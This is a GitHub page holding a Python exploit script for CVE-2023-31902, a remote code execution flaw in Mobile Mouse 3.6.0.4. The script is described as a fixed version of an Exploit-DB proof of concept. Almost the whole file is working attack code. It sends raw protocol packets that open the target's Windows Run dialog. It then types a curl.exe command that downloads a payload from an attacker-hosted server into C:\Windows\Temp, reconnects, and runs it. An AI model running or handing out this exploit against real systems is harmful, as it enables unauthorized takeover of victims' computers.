-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
231 lines (183 loc) · 5.15 KB
/
Copy pathexploit.py
File metadata and controls
231 lines (183 loc) · 5.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#!/usr/bin/env python3
# Fixed version of https://www.exploit-db.com/exploits/51010
#
# The original exploit downloads the payload but may fail to execute it
# because both stages use the same TCP session.
#
# This version reconnects after downloading, repeats the handshake,
# and executes the payload through a fresh session.
#
# CVE: CVE-2023-31902
import argparse
import socket
import sys
import time
from pathlib import PureWindowsPath
DEFAULT_PORT = 9099
HTTP_PORT = 8080
CONNECT_PACKET = bytes.fromhex(
"434F4E4E4543541E1E"
"63686F6B726968616D6D656469"
"1E6950686F6E651E321E321E04"
)
OPEN_RUN_PACKET = bytes.fromhex(
"4B45591E3131341E721E4F505404"
)
ENTER_PACKET_HEX = "4B45591E2D311E454E5445521E04"
def receive_response(sock: socket.socket, size: int = 1024) -> bytes:
"""
Receive a response without blocking indefinitely.
The protocol responses are small, so one recv() is normally sufficient.
"""
try:
return sock.recv(size)
except socket.timeout:
return b""
def send_command(sock: socket.socket, command: str) -> bytes:
"""
Send text through the Mobile Mouse KEY command and press Enter.
"""
command_hex = command.encode("utf-8").hex()
packet = bytes.fromhex(
"4B45591E3130301E"
+ command_hex
+ "1E04"
+ ENTER_PACKET_HEX
)
sock.sendall(packet)
return receive_response(sock)
def create_session(
host: str,
port: int,
timeout: float = 5.0
) -> socket.socket:
"""
Connect to Mobile Mouse, perform the protocol handshake,
and open the Windows Run dialog.
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
try:
sock.connect((host, port))
sock.sendall(CONNECT_PACKET)
receive_response(sock)
sock.sendall(OPEN_RUN_PACKET)
receive_response(sock)
time.sleep(0.75)
return sock
except Exception:
sock.close()
raise
def run_stage(
host: str,
port: int,
command: str,
timeout: float
) -> None:
"""
Execute one Run-dialog command through a fresh protocol session.
"""
sock = create_session(host, port, timeout)
try:
send_command(sock, command)
time.sleep(1)
finally:
sock.close()
def main() -> int:
parser = argparse.ArgumentParser(
description="Mobile Mouse 3.6.0.4 authorized RCE test"
)
parser.add_argument(
"--target",
required=True,
help="Target IP address"
)
parser.add_argument(
"--file",
required=True,
dest="filename",
help="Payload filename served by the local HTTP server"
)
parser.add_argument(
"--lhost",
required=True,
help="IP address hosting the payload"
)
parser.add_argument(
"--rport",
type=int,
default=DEFAULT_PORT,
help=f"Mobile Mouse TCP port, default: {DEFAULT_PORT}"
)
parser.add_argument(
"--http-port",
type=int,
default=HTTP_PORT,
help=f"Payload HTTP server port, default: {HTTP_PORT}"
)
parser.add_argument(
"--download-wait",
type=float,
default=10.0,
help="Seconds to wait for the payload download"
)
parser.add_argument(
"--timeout",
type=float,
default=5.0,
help="Socket timeout in seconds"
)
args = parser.parse_args()
filename = PureWindowsPath(args.filename).name
if not filename:
print("[-] Invalid filename", file=sys.stderr)
return 1
destination = f"C:\\Windows\\Temp\\{filename}"
payload_url = f"http://{args.lhost}:{args.http_port}/{filename}"
download_command = (
f'curl.exe --fail --silent --show-error '
f'"{payload_url}" -o "{destination}"'
)
execute_command = f'"{destination}"'
print(f"[*] Target: {args.target}:{args.rport}")
print(f"[*] Download URL: {payload_url}")
print(f"[*] Destination: {destination}")
try:
print("[*] Opening first session and downloading the payload...")
run_stage(
host=args.target,
port=args.rport,
command=download_command,
timeout=args.timeout
)
print(
f"[*] Waiting {args.download_wait:.1f} seconds "
"for the download to complete..."
)
time.sleep(args.download_wait)
print("[*] Opening a fresh session and executing the payload...")
run_stage(
host=args.target,
port=args.rport,
command=execute_command,
timeout=args.timeout
)
except ConnectionRefusedError:
print(
f"[-] Connection refused by {args.target}:{args.rport}",
file=sys.stderr
)
return 1
except socket.timeout:
print(
"[-] The target connection timed out",
file=sys.stderr
)
return 1
except OSError as exc:
print(f"[-] Network error: {exc}", file=sys.stderr)
return 1
print("[+] Execution command sent")
return 0
if __name__ == "__main__":
raise SystemExit(main())